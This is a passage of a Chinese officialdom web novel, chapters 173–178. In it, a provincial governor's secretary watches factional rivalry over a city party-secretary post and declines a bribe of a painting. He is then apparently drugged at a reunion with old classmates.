鲁林不同,鲁林是空降厅长,又有省委书记的关系,换做其他省份,拿下副省长一职是板上钉钉的事情。 可东江省的政治格局不同,本地派的关系网太大。 仅凭马洪波一人之力,想要把鲁林扶持到副省长的位置很难,他们需要得到孟良德的支持。 只要孟良德投下赞成票,马洪波的政治势力才能在常委人选上,再拿下一票,巩固他一把手的权力。 “你现在有长进了,呵呵...” 听到李承的回答,孟良德满意点头。 “那你觉得,我该不该帮他们呢?”孟良德看着李承,问。 “这个我不敢乱言。”李承尴尬地摇了摇头,道。 涉及一位省部级的晋升问题,李承作为秘书,可不能乱讲话。 这是要踏红线的。 “但说无妨,我就想听听你的想法。”孟良德摆了摆手,道。 “再拿下常委一票,怕是要成为洪波书记的一言堂了。”李承没有给出明确的回答。 但也暗示了自己的想法。 “他就是想把东江省打造成他的一言堂,不过,这对东江省的发展没坏处。” 孟良德平静的脸上,古井无波。 但李承隐隐在他的眼眸深处,看到了一抹忧郁。 李承的一番话,说到了孟良德的心坎里。 现在,东江省的三方势力中,本地派系的势力最大,孟良德的势力最小。 可一旦马洪波再拿下一位副省长职位,形势就要出现逆转,成为最大赢家。 在那种情况下,要么,整个东江省就是马洪波一言堂的局面。 要么,孟良德就需要跟本地派系联手,在一定事情上对马洪波进行制衡。 原本微妙的政治格局,就要再度发生变化,其中涉及的东西,是庞大而深远的..... 在政治上,没有永远的敌人,也没有永远的朋友。 第173章 棋语 滨西矿业发生的重大事故,在孟良德和马洪波高度重视的事件。 在这件事的问题上,两位领导的态度统一。 专案小组的调查,可谓是一路绿灯,没有任何的阻碍。 很快,关于此次矿难发生的基本问题已经调查清楚。 其背后,涉及到了市委书记吴刚的腐败和放纵,是吴刚给蒋元开了审批绿灯,才出现了无人监管的采矿情况。 导致了这场悲剧的发生。 这是此事事件的基本调性,至于这背后还牵扯到了什么利益,以及腐败的程度,需要进一步调查。 市委书记‘落马’,市长冯坤的情况被查明。 他在此次事件中,唯一的瓜葛就是其妻子受贿的两根金条,但由于冯坤主动举报,又有孟良德的默许,这件事没有牵连到他身上。 他本人的市长职位根基没有被触动,但这件事的发生,对于他的仕途仍有很深的影响。 至少,他与顺位市委书记一职无缘,在他的头上,任然是被打上了‘问号’的标签。 如此重大事故,他同样有连带责任。 而滨西市的新任市委书记由谁担任,这个人事问题,再次成为了几大派系的目标。 但孟良德对此,并没有太大兴趣,他也没有合适的人选。 这天下班。 李承照常将孟良德送回迎宾馆,在孟良德的邀请下,两个人一同共进晚餐。 “小李,再陪我下两盘棋。”孟良德邀请道。 “好啊。” 两个人来到客厅,阿娇将棋盘摆好,又给两个人倒了水。 打羽毛球,李承在行,可以掌控节奏。 但在下围棋上,李承跟孟良德比起来,就太过于业余了。 他的那点棋术,也是为了讨好孟良德,特意专心学习的。 以前,基本是每战每败。 不过,为了不让孟良德觉得跟自己下棋无聊,这些日子里,李承也钻研了不少。 虽说依旧无法赢孟良德,但还算是有来有回,可以坚持一阵子。 ‘咚咚咚...’ 正当两个人下棋时,房门被敲响了。 阿娇去开门后,与对方交涉了几句,返回到两个人身边,做出汇报:“老板,是隆安的周安市长。” “哦,让他进来。”孟良德应了一声,道。 “好的。” 阿娇答应,去了门口。 不一会儿,一个西装革履,五十岁左右的男人跟随阿娇走了进来。 “孟省长。” 他走到孟良德身旁,打了声招呼。 “嗯,坐。” 孟良德偏头看了他一眼,示意他坐下。 这时,李承的目光也看了过去。 第一眼的印象,就是这个人很板正,很注重自身形象。 一头标准的背头,梳得一丝不苟,用发胶固定得非常整齐。 整个西装上,没有半点的褶皱,皮鞋也是擦得锃亮。 唯一‘美中不足’的是,他的身材有些佝偻,个子也矮小,显得气场不足。 “我平时的爱好就是看看围棋,我站一会,观摩下孟省长的棋艺。”周安恭敬地笑了笑,说。 “嗯。” 孟良德点了点头后,便不再理睬他,继续跟李承下棋。 两个人一盘棋结束,李承再次惨败。 “唉...我每天晚上都会研究一会围棋,想着哪天能胜一局,但跟老板比起来还是差上几招呀。” 李承叹了一口气,故意摆出一副懊恼的样子,这是为了哄孟良德开心,提供情绪价值。 “哈哈哈,不过,你的棋艺比以前进步了很多。”孟良德笑道。 “李秘书,其实你刚才下在这里,还是可以再坚持一会儿的。” 这时,周安伸出手,双指夹了一颗李承用的黑棋,下在棋盘的一处。 看到这步棋,李承顿感明悟。 如果刚刚自己看到了这一步棋,说不定还能反败为胜,可落子无悔,棋局已经结束。 “周安同志也很懂围棋嘛。” 孟良德认真看了一眼周安下的位置,思索片刻,点头认可。 “年轻的时候就喜欢围棋,一直是我最大的爱好。”周安说。 “下一盘?”孟良德邀请他。 “那就献丑了,还望孟省长手下留情啊,呵呵呵...”周安答应。 与此同时,李承也站起身来,给周安让位置。 阿娇则将两方的棋子重新分配。 站在一旁,李承开始观摩起这盘棋。 相比于自己,周安的棋更显专业和老练。 李承跟孟良德下棋时,一直都被对方牵着鼻子走,他的杀子,基本都是孟良德为了‘争地’设下的陷阱。 可在这场棋局中,两个人却打得有来有往。 看似周安一直处于上风,更像是推动发展的手,将地盘扩张得很大,追着孟良德的棋走。 可随着时间的推移,周安所持的黑棋,又渐渐地走向颓势,隐有败像。 李承虽然看不懂他的棋法,但直觉告诉李承,这是周安的故意为之。 全程无法,直到进入焦灼时,周安夹起的手,悬在棋盘半空,久久未能落下。 最后,他收回了下棋的手,叹了一口气:“唉...这盘棋下到现在,已经不是在挣胜负,而是在挣一口气了。” “这话怎么讲?” 孟良德喝了一口水,饶有兴趣地问。 “省长,您看这里。” 周安放下棋子,手指在棋盘一处:“我的黑棋看似势大,可我一直追求的厚势,想围的空太大,做的眼太多,结果在省长您的运筹下,我这些棋都是虚的。 破绽和断点太多,稍有不慎,看似庞大的地盘就会成为死棋。” “嗯。” 听完周安的话,孟良德点了点头。 李承也看明白了其中一二,在这盘棋里,只要周安稍有不慎,就会落得个满盘皆输的下场。 “看到这盘棋,不禁让我想起了眼下的滨西市呐。”周安又叹了口气,说。 他这是以棋为引,逐渐展露此次目的。 “怎么讲?”孟良德问。 “滨西曾经是全省经济发展的前三甲,却落得今天这个败绩,不是资源型城市的枯竭,也不是圈一块地,加个项目就能解决的经济颓势。 之前的滨西,仗着煤矿的经济利好,很多发展项目做得太杂乱,这才导致了经济停滞,发展落后。” 第174章 字画 “滨西的情况,就像这盘黑棋,棋势做得太大,却没有人愿意弯下腰去,把这些断点给补上,到最后,成为了废棋。” 周安惋惜地摇了摇头,说。 听到这里,站在一旁的李承也明白了周安此行的来意。 他是看到吴刚被抓,冯坤无缘顺位市委书记,想过来跑官,争取滨西市委书记一职。 “那接下来这步棋,你准备怎么走?”孟良德淡淡地问。 周安再次夹起一颗棋子,这一回,他没有任何犹豫,落了子。 “我这步棋算是自补,眼下只有把这些‘眼’做真的,把内部的‘气’捋顺了,在您刁钻的攻势下,我的这局棋才死不了。” 闻言,孟良德的目光紧紧盯着这盘棋,表情变得严肃。 半晌后,他伸手指了指棋盘上的另一处,说:“如果你下在这里,赢面会更大吧?” “下在这里是‘胜负手’,是赌徒心理,不成功便成仁,相比于赌一次机会,我更愿意做一个危墙下砌砖的人。 不去赌快速的赢,只要能让这盘棋活,留着这口气在,黑棋迟早还有翻盘的机会。” 周安句句不离棋,却句句不说棋。 眼下的滨西市,是一个全省经济增长末尾的城市。 曾经,这座城市靠着丰富的矿产资源,也无比辉煌过,但由于当时的领导班子力求于快速进步,在他短暂的任期内实现自己的政治抱负,反倒适得其反。 搞了很多产业项目,烧了很多钱进去,最后,却是竹篮打水一场空,导致滨西市这么多年,发展停滞不前,整座城市的经济仍靠着矿业推动。 正如周安通过棋局映射的那样,现在的滨西市,想要摆脱困境,需要一位有能力,肯下苦的领导,拾起那些烂摊子,补上那些缺口。 周安通过棋局,在告诉孟良德,他愿意做这个人。 孟良德久久未说话。 半晌后,他拿起水杯喝了一口,没有继续下棋:“这么多虚点,为什么选择补在这里?” 孟良德的询问,是在给周安一个机会。 周安同样敏锐地洞察到了这一点,他说:“这个点,虽不是主脉,但从大局来看,填补这个断点,远比维持主脉更重要。 主脉已经被您围剿到岌岌可危,与其将精力浪费在注定的死局上,不如另辟蹊径,想要有活路,就要学会壁虎断尾。” “当断则断,壁虎断尾,一步好棋。” 孟良德满意地笑了一声,看向李承打趣道:“小李呀,棋艺方面,你得跟周安同志多学习呀,哈哈哈。” “我一定跟周市长多学学,能跟您博弈几十回合还能让您这么投入的人,也就只有周市长这深厚的功底了,呵呵呵....” 李承站在一旁,笑呵呵地回答道。 一席话,既体现了周安的棋艺高超,又变相地吹捧了孟良德更加高明。 这就是官场,哪怕是一个随口小回答,也需要情商。 听到李承的话,两个人同时笑了笑,继续下棋。 周安的来意,已经通过棋局传递给了孟良德。 孟良德刚才问他,为什么要舍大保小,其实就是在问周安如何看待接下来滨西的发展方向。 周安的‘壁虎断尾’,意思是舍去滨西注定败落的矿业,重点扶持那些曾经筹划中,却没有做好的朝阳产业。 他的想法,正好与孟良德的经济发展理念一致。 所以,他得到了孟良德的认可。 在孟良德这里,周安的这次跑官,是圆满顺利的。 李承和周安一起离开了迎宾馆。 “李秘书。” 走到停车场,周安喊住了李承。 “怎么了,周市长?”李承问。 “您稍等我一下。” 周安对李承投去一个微笑,快步走到自己的车前,拉开副驾驶,拿出一个纸筒来。 “我听说省长很喜欢字画,这是齐白石老先生的真迹,请你帮我转交给他。”周安走到李承面前,低声说。 他和孟良德的关系并不熟悉,即便是投其所好,也不敢贸然亲自送到孟良德的手里。 所以,他选择通过李承。 秘书是领导的一道防火墙,护城河。 有的领导不收礼,秘书会收,再转交给领导,这样就算出了事,也是秘书先顶雷。 “周市长,听我一句劝,对待孟省长就收起这些心思。”李承没有去接,真心地奉劝道。 周安刚才的表现,李承觉得他是一个精明的人,但这个举动就有些不聪明了。 好在,他没有贸然带着字画去见孟良德,否则,他连下棋的机会都没有。 他的确是投其所好,孟良德喜欢字画。 抛除省长的身份,如果孟良德能收到一幅齐白石的真迹,他一定会很高兴。 可孟良德毕竟是省长,这个身份下的权威与铁律是不能被忽视的。 不收字画,孟良德推荐他,那是欣赏这个人。 收了字画,那就成了以权谋私。 “我知道孟省长的人品,这字画是我父亲去世前留下来的,我不懂画,留在我这里也是浪费,它适合一个欣赏它,懂它的主人。”周安道。 他的一番话里,既表明了这幅画的正道来历,又铺了一个合理的台阶。 “周市长,等到孟省长亲自给你退回去,意义就不一样了。”李承淡淡一笑,说。 李承这也是在帮周安。 这幅画,如果转交到孟良德的手里,周安的形象就会大打折扣,他基本无缘滨西市委书记一职。 至少,孟良德的那一票,一定不会投在他身上。 至于帮他的目的,也很简单。 一来,他对这位周市长的印象还不错,二来,也想结交下这个人脉。 “多谢李秘书提醒,是我考虑不周了。” 听到李承的提醒,周安连忙表示感谢,收起了字画:“李秘书,你有时间吗?一起吃个夜宵吧。” “周市长还要连夜赶回去吧,我就不耽搁您的时间了,以后我们有机会再聚。” 李承知道对方也是客气,便婉拒道。 “嗯,那我先回去了。” 周安笑着点了点头,跟李承告别。 “慢走,周市长。” 李承挥了挥手,待到周安离开后,他也上了车。 第175章 突然到来 周五下午。 孟良德在办公室里会见省委秘书长张英双。 省委秘书长是省委的大管家,他来省政府,是带着省委书记马洪波的意图来的。 讨论的内容,是关于下周一,省委常委会议上,人事任命的议题。 省委秘书长与省政府秘书长,分别为党、政两套班子的大管家。 但级别是有很大差距的。 省委秘书长高配副部级,是省委常委的一员。 而省政府秘书长是正厅级,正厅与副部,既是一步之遥,也是天差地别。 到了省部级领导的见面会谈,李承这位秘书便没资格进去旁听。 他坐在自己的秘书间,埋头翻阅着文件。 这时,一道脚步声从门外走了进来,李承抬起眼睛,瞟了一眼。 看清楚来人的样貌,他的心情变得沉闷,却还是勉强挤出笑容,收起文件,立即恭敬地站起身。 “吕副书记。” 李承客客气气跟对方打了一声招呼。 来人正是东江省的三号人物,省委专职副书记吕崇山。 “良德同志在忙吗?”吕崇山淡淡地问。 “嗯,孟省长在见客人。”李承回答道。 吕崇山在来之前没有打招呼,对于他的突然到来,李承一时间有点不知所措。 孟良德在跟张英双会谈,这是一场省长派系和省委书记派系的交集。 可在这个时候,吕崇山这位本地派却突然来到省政府找孟良德。 如果让他跟张英双在这里碰了头,马洪波那边保不准要多想。 “哦。”吕崇山点了点头。 “我去跟孟省长汇报一下。”李承道。 一般只有紧急情况,秘书才会打断两位省部级领导的谈话。 但眼下的情况,在李承看来就是紧急情况。 “不用,我不着急,在这里等一会儿。”吕崇山冲李承摆了摆手,说。 “吕副书记,您喝水。” 李承在他坐下后,将一杯温水放在他的面前,笑着说:“我还是去通报一下吧,等下孟省长还有一个会,怕是留不出太多时间。” 说完,他也不等吕崇山点头,径直走到省长办公室门前,敲了敲门。 这个报告,他必须要打。 如果听了吕崇山的,不去做汇报,等孟良德和张英双出来,看到吕崇山坐在这里,一定会责怪李承。 东江省的政治格局过于微妙,在这些事情上,不容半点马虎。 ‘咚咚咚...’ 房门敲响,给孟良德和张英双留足暂停谈话的时间后,李承推门走了进去。 见到他进来,孟良德和张英双的目光齐齐看向了李承,眼神中带着疑惑和沉重。 李承快步走到孟良德的耳边,低语道:“省长,吕副书记突然过来了,就在外面。” 听到这个消息,孟良德眼眸沉重了几分:“嗯,我知道了,让他稍等我几分钟。” “好的省长。” 汇报完后,李承退出了办公室。 大概五分钟后,办公室的门再次打开。 孟良德和张英双一同走了出来。 “崇山同志,你过来怎么也没提前说呀?我好叫小李准备些好茶。”孟良德笑呵呵地说。 他这属于是皮笑肉不笑,眸子是冷的。 话也是在递给张英双听,告诉对方,他对吕崇山的来访并不知情。 “刚处理完公务,顺路过来看看你,没想到英双同志也在呀,哈哈。” 吕崇山表现出一副跟孟良德很熟悉的样子,笑着又跟张英双打了个招呼。 但隐约之间,李承觉得吕崇山是知道张英双过来见孟良德的。 “吕副书记,那您跟孟省长先聊,我回去了。”张英双冲吕崇山微微点头,便离开了办公室。 “崇山同志,请吧。” 孟良德邀请吕崇山进入了办公室。 李承也烧了水,准备重新给两位领导沏茶。 “小李,你去把我柜子里那套紫砂茶具和大红袍拿来,崇山同志也很懂茶,你好好泡,把看家本领用出来。”孟良德吩咐道。 “好的省长。”李承点头,去取茶叶和茶具。 “不用,这个茶具就挺好的。”吕崇山婉拒道。 “哎...我这位秘书在茶道是很有研究的,好茶要配好手艺。”孟良德坚持道。 将桌子上的茶具收了起来,李承开始摆放这套新茶具。 他动作慢条斯理,并没有过于着急。 看似孟良德是用好茶款待吕崇山,表现出对他到来的重视。 实则是有另一层深意。 桌子上原本的这套茶具,属于是便捷式的,将茶叶放进去,注水就可以。 哪怕是秘书不在场,省长也能简单地操作。 但这套紫砂茶具不同,这是功夫茶。 功夫茶,讲究的就是‘功夫’二字,需要花费的时间,精力很长,操作繁琐,对于细致的技巧要求高。 泡功夫茶,就需要全程有人专门泡茶。 而这个人,不可能是孟良德,也不可能是吕崇山,那就只有李承了。 孟良德让李承给吕崇山泡功夫茶,本意不在重视招待,而是要将李承留在办公室听两个人的交谈。 如此用意,就是堵住了吕崇山谈论那些私密言论的嘴。 李承虽不确定此次吕崇山前来的用意,可孟良德应该是猜到了,他要用这种方式堵住吕崇山的嘴。 对方不便说出口,也就省去了拒绝的麻烦。 “崇山同志啊,你这次过来,是有什么事情吗?” 在李承泡功夫茶的期间,孟良德直接开门见山。 他料定李承在场,对方不会深说,才去询问。 给了对方开口的机会,对方自己不方便说,那就不能怪孟良德了。 “也没什么事,路过省政府,口渴了,来蹭口茶喝。”吕崇山表情略显无奈,他温和一笑,道。 “崇山同志随时来,都有最好的好茶招待。”孟良德笑呵呵的道,给足了对方面子。 “孟省长,吕副书记。” 这时,李承的第一泡已经出杯,分别递给孟良德和吕崇山。 “尝尝看。” 孟良德对吕崇山眼神示意一下,端起茶杯,抿了一口,道:“小李,你的手艺越来越精湛了。” 吕崇山也抿了一口,表示认可:“嗯,是不错,时间水温掌握得都刚刚好。” 第176章 拆台 “良德同志,我这次过来,还有一件事想跟你商量。” 茶喝了好几杯,见孟良德迟迟没有让李承离开的意思,吕崇山也坐不住了。 “你说,小李也不是外人。”孟良德道。 他直接提前堵住了吕崇山的口,让对方打消了回避李承的想法。 “滨西市委书记一职,你心里有没有合适人选?”吕崇山问。 周一的常委会议傻,关于滨西市委书记的人事提名就要开始,吕崇山想争取孟良德的票权。 自从孟良德上任以来,书记和省长报了团,对于他们这些本地派的打击很大。 在常委会议上拿不到票权,在一些重要人事任命上,就只能被人摆布,没有话语权。 这样下去,他们本地派的势力会被瓦解,逐渐不能与马洪波进行较量。 这让吕崇山感受到了莫大的危机。 “我上任时间短,对于各地干部了解不透彻,没有什么合适人选。” 孟良德摇了摇头,问吕崇山:“崇山同志,你有什么人选推荐吗?” “我觉得浦川市的秦义保市长很适合,他搞经济发展有一套,浦川近两年的经济飞速增长,就是在他领导下的成果。” 吕崇山提出自己的建议。 “义保同志我是知道的,他确实有能力,不过呢,他刚升任市长两年,再提拔到市委书记,这个晋升过快了些吧。” 孟良德先夸赞了对方推举的人选,再提出了反对的意见。 “我觉得,对于有才能的干部,就要大胆的使用,现在都讲一个干部年轻化。 既然义保同志有能力,就应该给他更大的空间,和更大的挑战,这才有助于培养组织力量。” 吕崇山阐明自己推荐人选的想法后,又道:“义保同志虽然不会太多华丽的言语,但觉得是一个踏实肯干,有能力有想法的同志。 不像有些同志,为了跑官,特意驱车几百公里跑到汉江来,只为陪领导吃一顿饭,下一盘棋,甚至连本市发生的民情都不管不顾。” 吕崇山这后半句话,指向很明显,就是在说周安。 听到这话,李承泡茶的手微微顿了一下。 心想,难不成这迎宾馆也都是吕崇山的眼线,连昨晚孟良德跟周安下棋的事情,都传到了吕崇山的耳朵里。 他说,吃一顿饭,下一盘棋。 棋是跟孟良德下的,那这顿饭是跟谁吃的? 是吕崇山莫须有捏造的一句话,还是,这顿饭跟马洪波吃的呢? “什么民情?” 孟良德抿了一口茶,淡淡的问。 周安昨晚下棋的表现,让孟良德对这位同志是满意的。 但如果周安放任市里的工作不管,急于到省城里跑官的话,这个人的品德就需要画上问号了。 “昨天下午,隆安市因为拆迁赔偿的纠纷,几百号人堵在了市政府门口讨说法,结果,本该出面解决此事的市长周安,到了汉江来跑官。 在这样同志的眼里,个人的利益,大于群众。”吕崇山说道。 “既然还有这种事?” 孟良德眉头一皱,在他心里,对周安的印象坏了几分。 “所以呀,德良同志,在一些人事任命上,要格外慎重,你到东江省的时间段,对于很多同志还是不了解地。”吕崇山道。 “嗯。” 孟良德点头。 “听李秘书说,你待会还有一个会,那我就不打扰了。” 吕崇山将杯中茶水喝光,茶杯倒扣,起身告辞。 李承能感觉出来,这次吕崇山的目的,并不止于此,只是因为自己在的缘故,没能开口。 回到办公室,李承准备收拾茶具。 “这前脚来一个搭台的,后脚就来了个拆台的,呵呵呵....”孟良德坐在沙发上,点燃了一根香烟,冷笑几声。 前脚搭台的人,说的是省委秘书长张英双。 这拆台的人,自然就是吕崇山。 这两伙人都在为滨西市的人事任命,争取孟良德的一票。 听孟良德的话中意思,周安应该跟省委书记关系很密切,想来,吕崇山说的那一顿饭,就是周安跟马洪波吃的。 “省长,需要查一下隆安市昨天的情况吗?”李承试探的问。 什么话,也不能只听一面之词。 吕崇山说的,未必是真,或许其中有什么隐情,只是被吕崇山颠倒了是非。 “不用了。” 孟良德摆了摆手,道。 “好。” 李承应了一声,继续收拾茶具。 他知道,周安大概率无缘滨西市委书记了。 本地派和省委派系的斗争里,孟良德的票权就显得格外重要,是决定性的一票。 他不投给周安,周安就赢不了。 可接下来孟良德的一句话,又扭转了李承的这一想法。 “选择拆过一个台,总要给人留把椅子,也给你留条路。”孟良德意味深长的说。 这句话,说的李承有些懵。 拆台留椅子。 李承觉得,留的这把椅子,似乎是留给周安的。 但孟良德拆了马洪波什么台呢? 难道说是拆吕崇山的台?这更加说不通了..... 但最让李承琢磨不透的,还是那句:给你留条路。 李承想不通,这些跟自己有什么关系,为何说是给自己留的路...... 李承没听懂,却也没有多问。 这与工作无关,不需要搞的那么懂,总有一天会见分晓的。 收拾完茶具,李承陪同孟良德又开了一个会后,到了下班时间。 今天是周五,孟良德要回京城。 李承给他送上飞机后,这才在王师傅的相送下,赶往迎宾馆取车。 ‘噔..’ 路上,李承的手机传来一条微信。 是汪浩轩发过来的邀请:【承哥,晚上有时间吗?出来喝点呀?】 【不喝,对酒不感兴趣。】李承回绝。 【那对什么感兴趣呀,哥们给你安排。】汪浩轩发来一个很骚气的表情包,是一个外国美女在舞骚弄姿。 这是在对李承暗示。 【那就更不能去了。】李承回道。 【不跟你开玩笑了,今天是杨辰的生日,一起过来热闹热闹,都是老同学,可不能缺席呀,你俩上学时关系可不错。】 第177章 熟人 【老杨什么时候回来的?】李承发消息问。 杨辰,汪浩轩,李承他们三个人都是大学同学,还都是一个寝室的。 上学期间,大家关系都不错。 但杨辰跟汪浩轩一样,大学毕业后就离开了东江,去打拼自己的事业。 【上个礼拜回来的,现在是我的项目经理,我给你发位置,你赶紧快来吧,别废话。】 汪浩轩这条消息刚发来,一个定位紧跟着发送过来。 【行,我现在过去。】 李承想了想,反正许梦上班,自己回家又没有事情做。 几个老同学聚在一起,叙叙旧,聊聊天,也是很开心的。 这种同窗时期的真感情,在步入社会后,格外难得。 按照地址,李承来到了这间名为唐厨的餐厅。 这个餐厅的位置较为偏僻,在一个别墅小区,由一栋别墅改建成的。 这里不仅仅是餐厅,还是KTV,酒店等娱乐一体化,算是会所。 “先生您好,请问您有预定吗?” 进入大门,迎宾女服务员恭敬的鞠了一躬,微笑问。 女服务员年纪二十五岁左右,长相秀气,身材高挑。 从服务员的选拔就能看出来,这家餐厅的档次很高。 “有预定....” “承哥。” 李承正想拿出手机,看一眼汪浩轩发来的房间号,一道招呼声从里面响了起来。 李承抬头看去,正是老同学杨辰。 “我跟他们一起的。” 李承跟服务员说了一声,便笑呵呵的走了过去:“好久不见呀老杨,你可比上学的时候,瞅着年轻多了。” “承哥,你就别打趣我了。”杨辰给了李承一个拥抱,说。 杨辰属于那种长相很着急的人,十几岁的时候,长得就像四十岁,老气横秋,所以大家都叫他老杨。 但这么多年过去了,他的长相还像四十岁,基本没什么变化。 “生日快乐,回东江了也不跟我说一声。”李承祝贺道。 “谢谢承哥,你能来就给足我面子了,还买东西干什么。”杨辰看着李承手里的生日蛋糕,说。 “过生日嘛,图个气氛。”李承说。 他是实在不知道拿什么,又不好空着手,这才买了一个生日蛋糕,算是走个过场。 “走,进去说,大家都等你了。” “嗯。” 在杨辰的引领下,李承走进了包间。 除汪浩轩之外,还有一男两女,男的李承也认识,他们是同一所大学,但不在同一寝室,是杨辰的好朋友。 另外两个女生就很陌生,李承没见过。 “承哥,给你介绍一下,这位是我女朋友,韩雨薇。” 杨辰指着一个身高一米六左右,鹅蛋脸,长相清纯的女生,介绍道。 这个女生的样貌并没有那么惊艳,却给人一种特别的感觉,很干净,很水灵。 隐约间,李承又觉得好像在哪见过她,似曾相识。 杨辰介绍完,他又看向韩雨薇,说着说:“我这位兄弟现在是省长的秘书,不是一般人了,呵呵呵。” “承哥好。” 韩雨薇站起身,笑着跟李承打招呼。 “你好。” 李承冲她微微一笑,说:“今天是给杨辰过生日,也是老同学老朋友相聚,什么秘书呀,还是大老板,都放在一边。” 一番寒暄介绍后,大家落座。 坐下后,李承用胳膊肘轻怼了一下身旁的汪浩轩,低声问:“柳思瑶怎么没来,又闹别扭了?” “她又不是我老婆,还走到哪都领着她呀。”汪浩轩玩味的轻哼一声,撇嘴道。 “看你这熊样吧。” 接下来,就是一番喝酒,都是老朋友,气氛自然没那么约束,全程都很轻松。 “喝的都差不多了吧,咱们换地方,楼上还有KTV,咱们去唱歌。”汪浩轩大手一挥,搂着李承的肩膀,朗声说。 “好啊,走,唱歌去。” 大家都喝的很高兴,在他的邀请下,都纷纷点头。 “那个,我就不去了,我媳妇儿快下班了,我得接她回家。” 李承有一点喝醉了,他找了一个理由婉拒:“而且,我明天还有工作,不能喝太多了。” 周六还要录制《东江问政》,喝醉了,李承怕误事。 那是面向全省观众的节目,他需要注重形象。 “你喝了这么多,也开不了车,让她自己回家呗。” “就是,再去唱会歌呗。” “承哥,老同学多年没见,你不开心呀,还是我过生日,不给我面子?” “再玩一会儿,也不让你多喝了好不好?” 汪浩轩,杨辰等人开始动之以情的去劝说李承,烦的李承也没办法,只好点头:“行。” 到了楼上的KTV,李承坐下后,拿起手机给许梦发了一条消息,告诉对方自己今天不能接她。 许梦回了一个好,让李承少喝一点。 “承哥,我敬你一杯。” 坐下后,韩雨薇主动走上前,坐在李承的旁边,敬酒。 其实,在饭桌上的时候,她就想找机会跟李承喝酒。 奈何李承两侧都坐了人,她没有机会跟李承深入沟通。 但到了KTV,是环抱式的沙发,她便有机会坐在李承旁边,与他交流。 “嗯。” 李承端起酒杯,跟她碰了一下,将酒一饮而尽。 “承哥,其实,我们早就见过面。” 韩雨薇主动拿起酒瓶,给李承倒酒的同时,故意往他的身边凑了凑。 此时,两个人的腿已经贴在了一起,韩雨薇弯腰倒酒时,她的前胸几乎快要压在李承的腿上。 见状,李承主动往旁边挪了挪,假装拿烟,与韩雨薇拉开一定距离。 正所谓朋友妻不可欺,她是杨辰的女朋友,李承必须要保持好距离。 更何况,李承也有女朋友,对她没什么兴趣,也不想跟她有任何暧昧的举动。 “是吗,我们什么时候见过面?”李承点燃了一根香烟,敷衍的问。 “四年前,你带队审计凯森纸业时,我们见过,我是那里的会计。”韩雨薇撩了一下头发,笑着说。 “哦...” 李承总觉得她似曾相识,经过韩雨薇这么提醒,他有了一点印象,问:“现在你还在凯森纸业吗?” “承哥,你在跟我开玩笑吗?” 第178章 失去意识 开玩笑? 李承看着韩雨薇那玩味的表情,疑惑了。 “我的会计证都被吊销了,还被判了三年,咋可能继续回凯森。”韩雨薇苦笑着摇了摇头,说。 “你担的责?不应该呀。”李承表情沉重,问。 当年审计凯森纸业时,该公司查出了严重的偷税漏税。 这个案件是李承主抓,但主要工作结束,李承就转战审计下一个公司了,将收尾工作交给了其他同事。 所以,对于当年凯森纸业最后的处理结果,他了解的不具体。 不过,有一点李承可以确定,当时要抓的负责人,绝对不是这个小丫头。 因为当时李承亲自给凯森纸业的会计开过小会,怕他们被公司蒙骗,给公司顶罪,还千叮咛万嘱咐其中的利害关系。 这其中,好像就有韩雨薇。 “是呀,我那时候年纪小,什么都不懂,就被推上去顶雷喽。”韩雨薇耸了耸肩,说。 “唉...” 闻言,李承叹了一口气,不知该如何说下去。 李承觉得这种关系有一点尴尬。 对方入狱三年,说起来,跟李承还有一点关系。 “来,承哥,我再敬你一杯,谢谢你。”韩雨薇笑眯眯的端起酒杯,再次敬了李承一杯酒。 “谢我什么,你别这么看着我笑呀,我觉得有点瘆人呢。”李承玩笑的说。 “谢你审计凯森纸业呗,让我进去进修了三年,又上了三年的社会大学,哈哈哈...” 韩雨薇将秀发挽到耳后,抬起头,将酒一饮而尽。 “承哥,你也来唱首歌吧,我给你点了一首你上学时拿手的歌曲。” 这时,杨辰递来了一个麦克风,给李承。 李承刚接过麦克风,突然感觉大脑莫名的一阵高度眩晕,天旋地转。 他心中大惊,想要扶着沙发站起身离开,双腿却发软。 紧接着,他看到包厢的门打开,一排身无寸缕的女人,在一个经理模样的男人带领下,走进了包厢。 李承见到这种情景,心中一阵恐惧,他想走,身体却开始燥热难耐,意识也渐渐模糊.... ...... 再次清醒过来时,李承是在一个陌生的房间中。 房间内的灯光是关闭的,只有卫生间散过来的微弱灯光,淅沥沥的淋浴声音传进他的耳朵里。 房间和淋浴间只隔着一个玻璃墙,玻璃是那种马赛克的玻璃,看不清对方的面容,但隐约间,可以看到是一个女性的身姿。 除此之外,不远处的椅子上,还有女人的衣服。 看到这一幕,李承的酒瞬间清醒了,但大脑却是一阵嗡鸣! 一种前所未有的恐惧袭来。 他抱着最后一丝希望,掀开了被子,朝下面看去,顿时,悬着的心终于死了。 汗水在一瞬间顺着额头流出来。 他很恐慌。 他知道,自己不是喝醉了,而是被人下药了。 失去意识前,房间的一幕他还记得,想来,以自己的身份肯定是被人拍了照片。 自己的仕途要毁了! 除此之外,自己出了轨,跟许梦的感情也必将走向毁灭! 一个疏忽,导致自己事业感情双双挫败,这对李承是一种无法接受的打击! 恐慌之下,是无比的愤怒与恼火。 怒火充斥了他的理智,他觉得,给自己下药的人,一定是韩雨薇,她在报复! 一股杀意,在他的胸口熊熊燃烧。 从床上爬起身,李承准备穿衣服离开这里时,淋浴间的水声停止。 一条修长的美腿,伸了出来,进入到李承的视线中。 李承回避开目光,冷声说:“想要多少钱,开个价吧。” 想要堵住对方的嘴,那就得花钱,李承认栽,愿意花这个钱。 对方没有回答,迈步朝着他走过来。 李承知道对方没有穿衣服,不敢去看,转过身说:“先把衣服穿上。” 女人仍然没有回应,她伸出双臂,从身后抱住了李承。 带着水珠的脸,贴在李承的肩膀上:“一百万,可以吗?” 李承闻言,眉头一皱。 这个声音他太熟悉了,是许梦呀! 他转过身,认真端详着许梦绝美的脸,满眼的兴奋和不可置信:“这...这怎么回事?” “你被人下药了,你知道吗?”许梦问。 “嗯。”李承点头。 “知道是谁干的吗?”许梦再次问。 “应该是杨辰的女朋友,她被抓入狱跟我有关系...吗的....” 话说到一半,李承顿住了。 刚才想到韩雨薇,是出于愤怒,愤怒和恐慌搅乱了他的理智。 可现在冷静下来,他察觉到蹊跷。 汪浩轩和杨辰都在,就算韩雨薇想要报复他,也不能当着李承两位兄弟的面前实现呀。 只有一种可能,给他下药的人,就是汪浩轩和杨辰。 “你拿人家当兄弟,人家拿你当筹码,我早就说吧,那个汪浩轩不是什么好东西。” 许梦愤愤不平的道。 “具体怎么回事,你怎么在这里?这又是哪里?”李承问。 眼下他最关心的,就是他失去意识后,都发生了什么。 